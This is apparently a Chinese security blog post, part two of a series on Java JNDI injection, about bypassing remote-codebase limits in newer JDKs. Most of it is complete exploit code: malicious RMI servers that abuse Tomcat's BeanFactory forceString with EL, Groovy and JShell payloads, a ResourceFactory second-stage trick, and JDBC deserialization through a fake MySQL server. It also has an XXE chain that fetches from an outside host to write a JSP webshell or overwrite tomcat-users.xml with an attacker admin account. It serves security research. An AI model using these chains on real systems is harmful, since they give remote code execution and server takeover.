java-JNDI(二)高版本绕过
JNDI 高版本的绕过
为了防止 JNDI 攻击,Oracle 对 JNDI 的远程类加载漏洞(如 LDAP
或 RMI
协议的远程代码执行(RCE))进行了限制
com.sun.jndi.rmi.object.trustURLCodebase=false
com.sun.jndi.cosnaming.object.trustURLCodebase=false
com.sun.jndi.ldap.object.trustURLCodebase=false
旧版本(如 JDK 8u121 及以下)默认为 true
,允许远程类加载。
具体的版本可以看我上一篇文章 java-JNDI 攻击流程 (一) - Ling-X5 - 博客园
低版本

高版本

通过对比我们也可以看到,当 trustURLCodebase 为 true 时,才允许加载 codebase 远程类
绕过原理
主要是因为在 JNDI 查询带特定的 Referenc_Wrapper 对象后,会去用 com.sun.jndi.rmi.registry.RegistryContext#decodeObject 解析,里面调用了 javax.naming.spi.NamingManager#getObjectInstance 方法,而这个方法会去获得 ref 中的工厂,并调用工厂的 getObjectInstance 方法
我们就想到看有没有本地工厂的 getObjectInstance 是可以利用的
JNDI-Tomcat 绕过
还记得我们当时在编写 Exploit 的时候说过,他会先去加载本地的类,本地没有他才会去加载 codebase 指定的远程类
它限制了我们加载远程的方式,那我们可不可以找一个本地的工厂,来实现 RCE 呢?
我们要找到一个工厂类,需要满足一下几个条件:
- 工厂类必须实现 javax.naming.spi.ObjectFactory 接口,因为 javax.naming.spi.NamingManager#getObjectFactoryFromReference 方法,在返回时做了 ObjectFactory 类型的强转
- 该工厂类至少存在一个 getObjectInstance() 方法,从工厂中获得实例
而恰好 org.apache.naming.factory.BeanFactory 类符合。有了 Factory,我们还需要从 Factory 去拿到一个可以执行命令的实例,且可以被我们控制行为。
BeanFactory+ELProcessor
javax.el.ELProcessor#eval 方法,支持 EL 表达式的执行,可以传入一个字符串,从而实现 RCE。这其实是 BeanFactory 的实现逻辑造成的
BeanFactory 在处理 Reference 时,会检查属性并调用目标对象的 setter 方法。通常,setter 方法的名称是根据属性名推导的(例如属性 x 对应 setX)。但 BeanFactory 支持一个特殊属性 forceString,可以强制指定 setter 方法的名称。
攻击者可以利用这一点,将某个属性的 setter 方法重定向到 eval 方法。
官方当时的介绍是: 新的属性“forceString”接受以逗号分隔的项作为值。每个项要么是一个 bean 属性名称(例如“foo”),意味着该属性有一个 setter 函数“setFoo(String)”。或者该项的形式为“foo = method”,意味着属性“foo”可以通过调用“method(String)”来设置。
导入依赖
<dependency>
<groupId>org.glassfish</groupId>
<artifactId>javax.el</artifactId>
<version>3.0.1-b12</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.8</version>
</dependency>
EvilRMIServer
package com.evil;
import java.rmi.registry.*;
import javax.el.ELProcessor;
import javax.naming.*;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
public class EvilRMIServer {
public static void main(String[] args) throws Exception {
// 创建一个RMI注册表,监听1099端口
Registry registry = LocateRegistry.createRegistry(1099);
// 创建一个ResourceRef对象,指定工厂类为BeanFactory
ResourceRef ref = new ResourceRef(
"javax.el.ELProcessor", null, "", "", true,
"org.apache.naming.factory.BeanFactory", null
);
// 添加StringRefAddr,设置forceString属性为"x=eval"
ref.add(new StringRefAddr("forceString", "x=eval"));
// 添加StringRefAddr,设置x属性,用于执行系统命令
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script" +
".ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
// 创建ReferenceWrapper对象,包装ResourceRef对象
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
// 将ReferenceWrapper对象绑定到RMI注册表中,名称为"Exploit"
registry.bind("Exploit", wrapper);
// 输出提示信息,表示恶意RMI服务器正在运行
System.out.println("Evil RMI server running on port 1099...");
}
}
JNDIvuln
package com.lingx5;
import javax.naming.InitialContext;
public class JNDIvuln {
public static void main(String[] args) {
try {
InitialContext context = new InitialContext();
context.lookup("rmi://localhost:1099/Exploit");
} catch (Exception e) {
e.printStackTrace();
}
}
}
基本的执行流程就是
客户端(JNDIvuln)的 lookup()方法会去调用 javax.naming.spi.NamingManager#getObjectFactoryFromReference ( 中间过程就省略了 ),会去从本地记载我们指定的 org.apache.naming.factory.BeanFactory,拿到 BeanFactory 后,执行 org.apache.naming.factory.BeanFactory#getObjectInstance 方法,初始化 javax.el.ELProcessor 对象,利用 forceString 机制,使得 javax.el.ELProcessor#eval 方法执行我们的 payload,实现 RCE
图中展示了关键的参数和方法
Nashorn JavaScript 引擎,可以解析 javascript 脚本,执行命令,不过 Java15 以后,删除了这种引擎。幸运的是,自 Java 9 以来,有一个等效的替代方案。我们可以使用 JShell
,使用一下 payload 替代
String payload = "{" +
" \"\".getClass().forName(\"jdk.jshell.JShell\")" +
".getMethod(\"create\").invoke(null).eval(\"java.lang.Runtime.getRuntime()" +
".exec(${command})\")" +
"}"
.replace("${command}", "\\\"" + Config.command + "\\\"");
BeanFactory+groovy
groovy.lang.GroovyClassLoader#parseClass(java.lang.String)
parseClass 使用 Groovy 的编译器(基于 groovy.lang.GroovyShell 和 org.codehaus.groovy.control.CompilerConfiguration)将字符串编译为 Java 字节码。然后会触发类加载,执行我们的恶意代码
GroovyClassLoader
的特殊性:与标准的 ClassLoader.defineClass
不同,GroovyClassLoader
在解析脚本时可能推迟了类的加载和链接步骤,直到需要时才完成。这与传统的 Java 类加载机制(如 Class.forName()
或直接使用 .class
文件)有所不同。
我们先来看一下 groovy.lang.GroovyClassLoader#parseClass(java.lang.String)这个方法能干什么
示例
package com.evil;
import groovy.lang.GroovyClassLoader;
public class groovyTest {
public static void main(String[] args) throws Exception {
GroovyClassLoader gcl = new GroovyClassLoader();
String script = "class Evil { " +
"static { Runtime.getRuntime().exec(\"calc\") } }";
Class<?> clazz = gcl.parseClass(script);
System.out.println(clazz);
// clazz.getConstructor().newInstance();
}
}
结果
只有类名输出,而没有执行我们的静态代码块。说明他和 defineClass 方法作用很相似,只是把类在内存中做了定义,并没有初始化
我们把注释打开,显示初始化这个类
计算机弹出来了,那我们有没有办法让 groovy.lang.GroovyClassLoader#parseClass(java.lang.String),不仅仅是在内存定义类,还去执行一些方法呢?
有的,兄弟!有的
GroovyClassLoader.parseClass 调用 Groovy 的编译器。编译器支持 @ASTTest 注解,@ASTTest 的 value 闭包是在编译器处理脚本时立即运行,而不是等到类加载或实例化。
于是我们就有了
package com.evil;
import groovy.lang.GroovyClassLoader;
public class groovyTest {
public static void main(String[] args) throws Exception {
GroovyClassLoader gcl = new GroovyClassLoader();
String script = "@groovy.transform.ASTTest(value={\n" +
" assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" +
"})\n" +
"def x\n";
Class<?> clazz = gcl.parseClass(script);
System.out.println(clazz);
// clazz.getConstructor().newInstance();
}
}
evilGroovyServer
package com.evil;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class evilGroovyServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef(
"groovy.lang.GroovyClassLoader", null, "", "", true,
"org.apache.naming.factory.BeanFactory", null
);
ref.add(new StringRefAddr("forceString", "x=parseClass"));
String script = "@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"calc\")\n})\ndef x\n";
ref.add(new StringRefAddr("x",script));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", wrapper);
}
}
JNDIvuln
package com.lingx5;
import javax.naming.InitialContext;
public class JNDIvuln {
public static void main(String[] args) {
try {
InitialContext context = new InitialContext();
context.lookup("rmi://localhost:1099/Exploit");
} catch (Exception e) {
e.printStackTrace();
}
}
}
版本修复
但是 BeanFactory 的这个 forceString 特性最终还是被修复了(也就是被删除了),下面是修复的版本
Tomcat finally modified the BeanFactory
in the following versions:
- 10.1.x for 10.1.0-M14 onwards
- 10.0.x for 10.0.21 onwards
- 9.0.x for 9.0.63 onwards
- 8.5.x for 8.5.79 onwards
ResourceFactory 二次注入
类似的还有 LookupFactory,OpenEjbFactory,JavaBeanObjectFactory 其原理和方法大致都相同。
org.apache.naming.factory.ResourceFactory 工厂类实现了 FactoryBase 类,会去执行 org.apache.naming.factory.FactoryBase#getObjectInstance 方法,
public final Object getObjectInstance(
Object obj, // 要创建的对象的引用(通常是Reference对象)
Name name, // 对象的名称(JNDI命名路径)
Context nameCtx, // 上下文环境(用于解析相对名称)
Hashtable<?,?> environment // JNDI环境参数(如安全配置、属性等)
) throws Exception {
// 1. 检查输入对象是否为支持的引用类型(如Reference)
if (isReferenceTypeSupported(obj)) {
Reference ref = (Reference) obj;
// 2. 尝试获取已缓存或直接链接的对象(避免重复创建)
Object linked = getLinked(ref);
if (linked != null) {
return linked; // 直接返回已存在的实例
}
// 3. 初始化工厂对象(用于创建目标资源)
ObjectFactory factory = null;
RefAddr factoryRefAddr = ref.get(Constants.FACTORY); // 获取factory属性
// 3.1 如果引用中指定了工厂类
if (factoryRefAddr != null) {
// 提取工厂类的全限定类名
String factoryClassName = factoryRefAddr.getContent().toString();
// 3.2 加载工厂类(使用线程上下文类加载器或默认类加载器)
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
Class<?> factoryClass = null;
try {
if (tcl != null) {
factoryClass = tcl.loadClass(factoryClassName);
} else {
factoryClass = Class.forName(factoryClassName);
}
} catch (ClassNotFoundException e) {
// 工厂类未找到,抛出命名异常
NamingException ex = new NamingException(
"Could not load resource factory class");
ex.initCause(e);
throw ex;
}
// 3.3 实例化工厂类(通过无参构造函数)
try {
factory = (ObjectFactory) factoryClass.getConstructor().newInstance();
} catch (Throwable t) {
// 处理实例化过程中的异常(如构造函数抛出的异常)
if (t instanceof NamingException) {
throw (NamingException) t;
}
if (t instanceof ThreadDeath) {
throw (ThreadDeath) t;
}
if (t instanceof VirtualMachineError) {
throw (VirtualMachineError) t;
}
// 其他异常包装为NamingException
NamingException ex = new NamingException(
"Could not create resource factory instance");
ex.initCause(t);
throw ex;
}
} else {
// 3.4 若未指定工厂类,使用默认工厂(由子类实现)
factory = getDefaultFactory(ref);
}
// 4. 使用工厂创建目标对象
if (factory != null) {
return factory.getObjectInstance(
obj, name, nameCtx, environment // 递归调用工厂的getObjectInstance
);
} else {
// 工厂未找到,抛出异常
throw new NamingException("Cannot create resource instance");
}
}
// 输入对象不支持,返回null
return null;
}
之里面的主要可以产生利用的逻辑,我摘出来看一下
ObjectFactory factory = null;
RefAddr factoryRefAddr = ref.get(Constants.FACTORY); // 获取factory属性
// 3.1 如果引用中指定了工厂类
if (factoryRefAddr != null) {
// 提取工厂类的全限定类名
String factoryClassName = factoryRefAddr.getContent().toString();
// 3.2 加载工厂类
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
Class<?> factoryClass = null;
if (tcl != null) {
factoryClass = tcl.loadClass(factoryClassName);
} else {
factoryClass = Class.forName(factoryClassName);
}
}
else {
// 3.4 若未指定工厂类,使用默认工厂
factory = getDefaultFactory(ref);
}
// 4. 使用工厂创建目标对象
if (factory != null) {
return factory.getObjectInstance(
obj, name, nameCtx, environment // 调用工厂的getObjectInstance
);
}
主要就是获取 ref 中的 factory 属性,如果没有,就获取默认的工厂。最后调用获得工厂的 getObjectInstance 方法。这里我们实际上已经可以实现二次注入了,最后还是会去调用 getObjectInstance,只是前边绕了一圈。我们可以利用这一性质去绕过一些黑名单。
factory 属性利用
我们依然可以搭配 BeanFactory 实现 RCE
你可能会觉得绕这么一圈有点没用,其实我们可以使用这个做很多事情,如果开发自己写的过滤条件只是把 BeanFactory 加入了黑名单,我们就可以使用 ResourceFactory 来进行绕过了
代码示例
evilResourceFactory
package com.evil;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class evilResourceFactory {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef(
"javax.el.ELProcessor", null, "", "", true,
"org.apache.naming.factory.ResourceFactory", null
);
ref.add(new StringRefAddr("factory", "org.apache.naming.factory.BeanFactory"));
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script" +
".ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval" +
"(\"java.lang.Runtime.getRuntime().exec('calc')\")"));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", wrapper);
}
}
JNDIvuln
package com.lingx5;
import javax.naming.InitialContext;
public class JNDIvuln {
public static void main(String[] args) {
try {
InitialContext context = new InitialContext();
context.lookup("rmi://localhost:1099/Exploit");
// context.lookup("ldap://localhost:1389/cn=exploit,dc=example,dc=com");
} catch (Exception e) {
e.printStackTrace();
}
}
}
运行
其实我们还可以利用二次注入玩很多东西。
默认工厂利用
我们可以实现 JDBC ATTACK,如果你对 JDBC attack 不熟悉,可以去看 Tri0mphe 师傅的这篇文章:文章 - 小白看得懂的 MySQL JDBC 反序列化漏洞分析 - 先知社区,当然我后边也会讲一些
分析
如果我们没有 set factory 属性,我们会执行 factory = getDefaultFactory(ref); ,org.apache.naming.factory.ResourceFactory#getDefaultFactory 看一下这个方法
protected ObjectFactory getDefaultFactory(Reference ref) throws NamingException {
ObjectFactory factory = null;
// ref的resourceClass我们就必须设置为javax.sql.DataSource才会进入if的逻辑
if (ref.getClassName().equals("javax.sql.DataSource")) {
// Constants.DBCP_DATASOURCE_FACTORY的值为org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory
String javaxSqlDataSourceFactoryClassName =
System.getProperty("javax.sql.DataSource.Factory",
Constants.DBCP_DATASOURCE_FACTORY);
try {
// 初始化BasicDataSourceFactory工厂
factory = (ObjectFactory) Class.forName(
javaxSqlDataSourceFactoryClassName).getConstructor().newInstance();
} catch (Exception e) {
NamingException ex = new NamingException(
"Could not create resource factory instance");
ex.initCause(e);
throw ex;
}
//javax.mail.Session 没有可利用的点
} else if (ref.getClassName().equals("javax.mail.Session")) {
String javaxMailSessionFactoryClassName =
System.getProperty("javax.mail.Session.Factory",
"org.apache.naming.factory.MailSessionFactory");
try {
factory = (ObjectFactory) Class.forName(
javaxMailSessionFactoryClassName).getConstructor().newInstance();
} catch(Throwable t) {
if (t instanceof NamingException) {
throw (NamingException) t;
}
if (t instanceof ThreadDeath) {
throw (ThreadDeath) t;
}
if (t instanceof VirtualMachineError) {
throw (VirtualMachineError) t;
}
NamingException ex = new NamingException(
"Could not create resource factory instance");
ex.initCause(t);
throw ex;
}
}
return factory;
}
org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory#getObjectInstance 会去处理 JDBC 连接的配置属性,当 dataSource.getInitialSize() > 0 时 dataSource.getLogWriter() 创建连接。在创建 connect 的时候我们的 url 设置 "jdbc:mysql://127.0.0.1:3306/security?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";
。触发 ServerStatusDiffInterceptor 连接器的 postProcess 方法,从而触发 JDBC 反序列
这里我们可以用工具生成恶意的 mysql 服务:MySQL Fake Server

我这里的 mysql 版本为 8.0.11
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.11</version>
</dependency>
evilResourceFactory
package com.evil;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class evilResourceFactory {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef(
"javax.sql.DataSource", null, "", "", true,
"org.apache.naming.factory.ResourceFactory", null
);
ref.add(new StringRefAddr("driverClassName", "com.mysql.cj.jdbc.Driver"));
String jdbcUrl = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors" +
"=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc";
ref.add(new StringRefAddr("url", jdbcUrl));
ref.add(new StringRefAddr("username", "deser_CC31_calc"));
ref.add(new StringRefAddr("initialSize", "1"));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", wrapper);
}
}
JNDIvuln
package com.lingx5;
import javax.naming.InitialContext;
public class JNDIvuln {
public static void main(String[] args) {
try {
InitialContext context = new InitialContext();
context.lookup("rmi://localhost:1099/Exploit");
} catch (Exception e) {
e.printStackTrace();
}
}
}
成功弹出了计算机
JNDI-JDBC 绕过
BasicDataSourceFactory
我们来了解一下 JDBC 的反序列化
首先反序列化的入口肯定是 readObject()方法,我们首先来看 com.mysql.cj.jdbc.result.ResultSetImpl#getObject(int)方法
然后去看有谁在调用 getObject()方法,有没有利用的可能。看到了 com.mysql.cj.jdbc.util.ResultSetUtil#resultSetToMap(java.util.Map, java.sql.ResultSet)
调用链基本就找到了
com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues
↓
com.mysql.cj.jdbc.util.ResultSetUtil#resultSetToMap(java.util.Map, java.sql.ResultSet)
↓
com.mysql.cj.jdbc.result.ResultSetImpl#getObject(int)
↓
java.io.ObjectInputStream#readObject()
而 ServerStatusDiffInterceptor 这个类是一个拦截器,我们发送特定的请求他就会拦截处理请求,自动执行他的 preProcess(执行一个核心方法之前)和 postProcess(执行完核心方法之后)
这里我们依然可以用 BasicDataSourceFactory 工厂来触发 JDBC 连接,让 JNDI 服务器查询恶意的 MYSQL 服务器,触发 Gadget 反序列化。
evilJDBC
package com.evil;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class evilJDBC {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef(
"javax.sql.DataSource", null, "", "", true,
"org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory", null
);
ref.add(new StringRefAddr("driverClassName", "com.mysql.cj.jdbc.Driver"));
String jdbcUrl = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors" +
"=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc";
ref.add(new StringRefAddr("url", jdbcUrl));
ref.add(new StringRefAddr("username", "deser_CC31_calc"));
ref.add(new StringRefAddr("initialSize", "1"));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", wrapper);
}
}
JNDIvlun
package com.lingx5;
import javax.naming.InitialContext;
public class JNDIvuln {
public static void main(String[] args) {
try {
InitialContext context = new InitialContext();
context.lookup("rmi://localhost:1099/Exploit");
} catch (Exception e) {
e.printStackTrace();
}
}
}
同时开启 fake-mysql 服务

看到成功执行了命令
JNDI-XXE 绕过
来到 org.apache.catalina.users.MemoryUserDatabaseFactory#getObjectInstance 这个方法
/**
* 根据指定的 Reference 对象创建并返回一个新的 MemoryUserDatabase 实例。
* 如果无法创建实例,则返回 null。
*
* @param obj 包含位置或引用信息的对象,用于创建目标对象,可能为 null
* @param name 相对于 nameCtx 的对象名称,如果 nameCtx 为 null,则相对于默认初始上下文
* @param nameCtx 名称所指定的上下文,可能为 null
* @param environment 用于创建此对象的环境,可能为 null
* @return 配置好的 MemoryUserDatabase 实例,如果无法创建则返回 null
* @throws Exception 如果在创建对象过程中发生异常
*/
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception {
// 检查 obj 是否为有效的 Reference 类型,并确保其类名为 "org.apache.catalina.UserDatabase"
if ((obj == null) || !(obj instanceof Reference)) {
return null;
}
Reference ref = (Reference) obj;
if (!"org.apache.catalina.UserDatabase".equals(ref.getClassName())) {
return null;
}
// 创建 MemoryUserDatabase 实例并根据 Reference 的 RefAddr 值进行配置
MemoryUserDatabase database = new MemoryUserDatabase(name.toString());
RefAddr ra = null;
// 设置数据库的路径名属性
ra = ref.get("pathname");
if (ra != null) {
database.setPathname(ra.getContent().toString());
}
// 设置数据库的只读属性
ra = ref.get("readonly");
if (ra != null) {
database.setReadonly(Boolean.parseBoolean(ra.getContent().toString()));
}
// 打开数据库并保存(如果非只读)
database.open();
// 如果数据库不是只读模式,则尝试保存配置
if (!database.getReadonly()) {
database.save();
}
return database;
}
他这里做完 MemoryUserDatabase 的配置后,执行了 org.apache.catalina.users.MemoryUserDatabase#open 方法,它负责从 XML 配置文件中加载用户、组和角色信息到内存数据库中。我们来看 open 的逻辑
他最后 parse()解析 xml,这里我们实际上已经可以利用 xxe 实现 ssrf 内网扫描了。
ssrf 扫描内网
这里可以简单画一个流程图
恶意的 xml 服务器

本地的 http 服务 (只允许localhost访问)

evilMemory
package com.evil;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class evilMemory {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase",
null, "", "", false,
"org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://lingx5.dns.army:8000/evil.xml"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
}
}
JNDIvuln
package com.lingx5;
import javax.naming.InitialContext;
public class JNDIvuln {
public static void main(String[] args) {
try {
InitialContext context = new InitialContext();
context.lookup("rmi://localhost:1099/Exploit");
// context.lookup("ldap://localhost:1389/cn=exploit,dc=example,dc=com");
} catch (Exception e) {
e.printStackTrace();
}
}
}
利用远程的 xml,让存在 JNDI 的漏洞服务器发送了一个本地请求
实现 RCE
其实利用 XXE 实现 RCE 是很困难的,更多的就是 ssrf 和文件读取的利用,因为 XXE 的 SYSTEM
实体和 ENTITY
声明的主要目的是引用外部资源(文件或 URL)它们的设计目的是读取文件内容或发起网络请求,而不是执行任意的操作系统命令。但是浅蓝师傅还是做到了,让我们跟着师傅的思路复现一下
在解析 XML 的过程中,我们把结果进行了数据填充
digester.addFactoryCreate("tomcat-users/group", new MemoryGroupCreationFactory(this), true);
digester.addFactoryCreate("tomcat-users/role", new MemoryRoleCreationFactory(this), true);
digester.addFactoryCreate("tomcat-users/user", new MemoryUserCreationFactory(this), true);
它们定义了 如何将 XML 配置文件中的特定 XML 元素映射到 Java 对象 的规则, 简单来说,它们告诉
Digester
XML 解析器:
在 XML 中遇到
<tomcat-users>
元素下的<group>
、<role>
或<user>
元素时,分别使用MemoryGroupCreationFactory
、MemoryRoleCreationFactory
和MemoryUserCreationFactory
这些 工厂来创建相应的 Java 对象。
看 MemoryUserCreationFactory(this)它具体干了什么
主要逻辑就是根据解析内容创建 java 对象,然后返回
最后
org.apache.catalina.users.MemoryUserDatabase#open 执行完之后,我们会去执行 org.apache.catalina.users.MemoryUserDatabase#save 方法
这里我们肯定时候要访问外部服务器的,也就是我们的pathname的格式肯定是http://lingx5.dns.army:8000/
这样的格式,在进行拼接,所以filenew就是 D:/JAVA/apache-tomcat-8.5.91/http:lingx5.dns.army:8000/webapps/ROOT/evil-user.jsp.new
我们可以使用../
来调整文件位置(仅是在window),liunx可以去看浅蓝师傅的文章,用到BeanFactory结合文件的工厂创建了形如http://example.com/
的文件目录。
使得filenew 变为 D:/JAVA/apache-tomcat-8.5.91/http:lingx5.dns.army:8000../../webapps/ROOT/evil-user.jsp.new
后边代码修改了文件名,把后缀.new
去掉了
tomcat7 RCE
evil-user.jsp
在http服务的文件
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="<%Runtime.getRuntime().exec("calc"); %>"/>
</tomcat-users>
evilMemory
这个是RMI的服务端文件
package com.evil;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class evilMemory {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(11099);
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase",
null, "", "", false,
"org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://lingx5.dns.army:8000/../." +
"./webapps/ROOT/evil-user.jsp"));
ref.add(new StringRefAddr("readonly", "false"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
}
}
JNDItomcatvuln
这个我们需要部署到tomcat服务器上去,我是打成war包,部署上去的。因为我在idea上部署,idea会默认改变我的Globals.CATALINA_BASE_PROP
的值。
package com.lingx5;
import javax.naming.InitialContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebServlet("/jndi")
public class JNDItomcatvuln extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
try {
InitialContext context = new InitialContext();
context.lookup("rmi://localhost:11099/Exploit");
// context.lookup("ldap://localhost:1389/cn=exploit,dc=example,dc=com");
} catch (Exception e) {
e.printStackTrace();
}
}
}
防止版本依赖的一些问题,我的war包里面就放了一个JNDItomcatvuln文件,打成war包部署到tomcat7中
启动tomcat 和 evilMemory(RMI)服务,同时开启我们远程的http服务


我们在浏览器访问
http://localhost:8080/JNDItomcat/jndi
远程恶意服务器接收到请求
看到evil-user.jsp成功写入

我们访问 evil-user.jsp
发现弹出计算器成功

版本对比
不过这仅仅是在tomcat7中,可以把我们恶意的属性,就是进行html实体编码的<
,“”
,>
这种特殊字符进行传输。
而从 Tomcat 8 开始,Apache Tomcat 团队为了提升安全性,特别是防御 XXE (XML External Entity) 注入和某些类型的注入攻击,对 XML 解析过程进行了增强。其中一个重要的改变就是 默认启用 HTML 实体编码。
<
会被编码为<
>
会被编码为>
"
会被编码为"
&
会被编码为&
'
会被编码为'
tomcat8 RCE
即使他进行了html的实体编码,我们依然是可以写文件的,如果tomcat服务器开启了manager界面,我们可以利用这一特性把tomcat-user.xml覆盖掉,创建一个我们自定义的管理员用户
tomcat-users.xml
恶意的远程http服务
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<user username="lingx5" password="123456" roles="manager-gui,manager-script"/>
</tomcat-users>
JNDItomcatvuln
受害者主机
package com.lingx5;
import javax.naming.InitialContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebServlet("/jndi")
public class JNDItomcatvuln extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
try {
InitialContext context = new InitialContext();
context.lookup("rmi://localhost:11099/Exploit");
// context.lookup("ldap://localhost:1389/cn=exploit,dc=example,dc=com");
} catch (Exception e) {
e.printStackTrace();
}
}
}
evilMemory
恶意的RMI服务
package com.evil;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class evilMemory {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(11099);
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase",
null, "", "", false,
"org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://lingx5.dns.army:8000/../." +
"./conf/tomcat-users.xml"));
ref.add(new StringRefAddr("readonly", "false"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
}
}
开启rmi服务

war包部署到tomcat8中

开启http服务

访问http://localhost:8080/JNDItomcat/jndi
,后登录http://localhost:8080/manager/html

成功进入tomcat后台,我们在上传恶意的war包,就可以拿下这台主机的权限了

总结
JNDI的玩法还是有很多,当然我这里也不是所有内容,只是从师傅的文章中挑了些感觉有趣的。不过对于高版本的绕过,基本上原理就是这样的。
参考文章
java 高版本下各种 JNDI Bypass 方法复现 - bitterz - 博客园
JDBC Attack 与高版本 JDK 下的 JNDI Bypass – 奇安信技术研究院
JNDI Mind Tricks | MOGWAI LABS
文章 - 高版本 JNDI 注入-高版本 Tomcat 利用方案 - 先知社区